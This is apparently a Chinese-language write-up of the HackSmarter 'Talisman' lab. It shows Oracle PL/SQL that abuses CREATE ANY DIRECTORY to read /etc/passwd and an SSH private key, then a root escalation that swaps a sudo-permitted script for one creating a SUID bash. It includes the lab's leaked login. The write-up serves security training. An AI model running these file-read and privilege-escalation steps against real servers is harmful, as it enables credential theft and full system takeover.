[HackSmarter.org Write-up] Talisman (Oracle CloudBeaver, Script replacement)
Chicken0248
Follow
5 min read·1 day ago
1
Listen
Share
目录
- 摘要
- 范围与目标
- 信息枚举
- 通过SQL查询窃取SSH私钥,以oracle用户身份获得初始访问
- 脚本替换并通过sudo成为root用户
摘要
Talisman 是一个 Linux 渗透测试靶场,我们在假设入侵场景下从一组提供的凭据开始,最终目标是完全攻陷这台 Linux 服务器。
提供的凭据可用于登录运行在 8978 端口的 Oracle CloudBeaver Community 服务。我们可以使用 SQL 编辑器执行 Oracle PL/SQL。由于我们控制的 “DEV” 用户被授予了 “CREATE ANY DIRECTORY” 权限,因此可以创建一个新的 Oracle 目录对象并读取本地文件。
这导致 “oracle” 用户的 SSH 私钥泄露,从而获得 Linux 服务器的初始访问权限。oracle 用户可以执行一个属于 root 的脚本,但由于该脚本位于 oracle 用户拥有的目录下,我们可以删除它并创建一个新脚本,以 root 身份运行任意命令。这就是我们在该靶场中完全攻陷 Linux 服务器的方式。
范围与目标
你被指派在客户环境中的一台关键 Linux 服务器上进行渗透测试。范围严格限制为单一目标 Linux 服务器环境。主要目标是获得该系统的 root 级别访问权限,以向客户展示最大影响和安全危害的全面程度。
提供了一组最近从第三方数据泄露事件中恢复的泄露凭据。虽然这些凭据具体属于哪个服务或应用未知,但它们作为建立初始访问点的向量。
泄露凭据
jane / Greattalisman1!
信息枚举
初始端口扫描显示只有两个端口对外开放,一个是 SSH,另一个是 8978(非标准端口)。
rustscan -a $IP -- -A
访问该端口上的网站后,可以看到它运行的是 Oracle CloudBeaver Community。
我们可以使用提供的凭据登录,然后使用 SQL 编辑器执行 Oracle PL/SQL。
首先,需要确定当前用户被授予了哪些系统权限。可以看到拥有 “CREATE ANY DIRECTORY” 和 “DROP ANY DIRECTORY” 权限,这允许创建映射到数据库服务器任意文件系统路径的 Oracle DIRECTORY 对象。
SELECT * FROM USER_SYS_PRIVS;
我们还可以对 “EXT_DATA” 表拥有 READ、WRITE 和 EXECUTE 权限。
SELECT * FROM USER_TAB_PRIVS;
通过SQL查询窃取SSH私钥,以oracle用户身份获得初始访问
利用 CREATE ANY DIRECTORY 权限,我们可以创建一个目录对象并映射到 /etc/passwd 路径,使用 DBMS_XSLPROCESSOR.READ2CLOB 读取文件内容并输出到控制台。执行后需要按 Shift+Ctrl+O 打开输出控制台,即可看到 /etc/passwd 文件内容。
BEGIN
EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_tmp AS ''/tmp''';
EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_etc AS ''/etc''';
DECLARE
content CLOB;
BEGIN
content := DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC', 'passwd');
DBMS_OUTPUT.PUT_LINE(content);
END;
END;
查看文件内容后,发现 “oracle” 和 “superset” 用户拥有交互式 shell,其 home 目录在 /home 下。因此尝试拉取每个用户的 .ssh 目录中的 SSH 私钥。
发现 oracle 用户有 SSH 私钥,将其保存到文件中。
BEGIN
EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_tmp AS ''/tmp''';
EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY dir_etc AS ''/home/oracle/.ssh''';
DECLARE
content CLOB;
BEGIN
content := DBMS_XSLPROCESSOR.READ2CLOB('DIR_ETC', 'id_rsa');
DBMS_OUTPUT.PUT_LINE(content);
END;
END;
设置 SSH 私钥的只读权限后,即可获得 Linux 服务器的初始访问权并获取用户 flag。
chmod 600 oracle_id
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i oracle_id oracle@talisman.hs
脚本替换并通过sudo成为root用户
运行 sudo -l 检查是否可以作为其他用户执行二进制文件或脚本时,发现可以以 oracle 用户身份执行 /opt/oracle/product/21c/dbhomeXE/root.sh,且无需提供密码。
该脚本只能由 root 读取、编辑和修改,但脚本位于 /opt/oracle/product/21c/dbhomeXE/ 目录下,我们对该目录拥有完全权限。
文件删除取决于目录权限,而不是文件权限。因此我们可以直接删除该脚本并创建我们自己的版本。在实际环境中不推荐这样做,因为我们不知道脚本原始内容以及是否有备份。
由于这是一个靶场,我们可以创建自己的脚本进行替换。脚本会将原始 bash 二进制文件复制到 /tmp 目录,设置 SUID 位为 root,然后用 -p 执行,从而获得一个有效 ID 为 root 的 bash shell。
#!/bin/bash
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash
/tmp/bash -p
该脚本还没有执行权限,因此需要赋予执行权限并执行。之后应该获得一个 root shell,并在 /tmp 目录下有一个带 SUID 的 bash 备份,可用来获取 root flag 并结束测试。
chmod +x /opt/oracle/product/21c/dbhomeXE/root.sh
sudo /opt/oracle/product/21c/dbhomeXE/root.sh
完成 :D
原文发布在:chickenloner.github.io/ CSD0tFqvECLokhw9aBeRqpCS+KqY/EwGEHdXbPTy1NLpWCZNf3EGjkksGvLy6Fj8TA8nOfy4ySlvCzMhPpF+9D/TIgIdsgGw5NiCUZilizgS6lb1MlXeUvsFhL6iBcquKdeDoOEXQor/V41HSK3wTSqP+ezX3T9aoVbcu9s7q5U=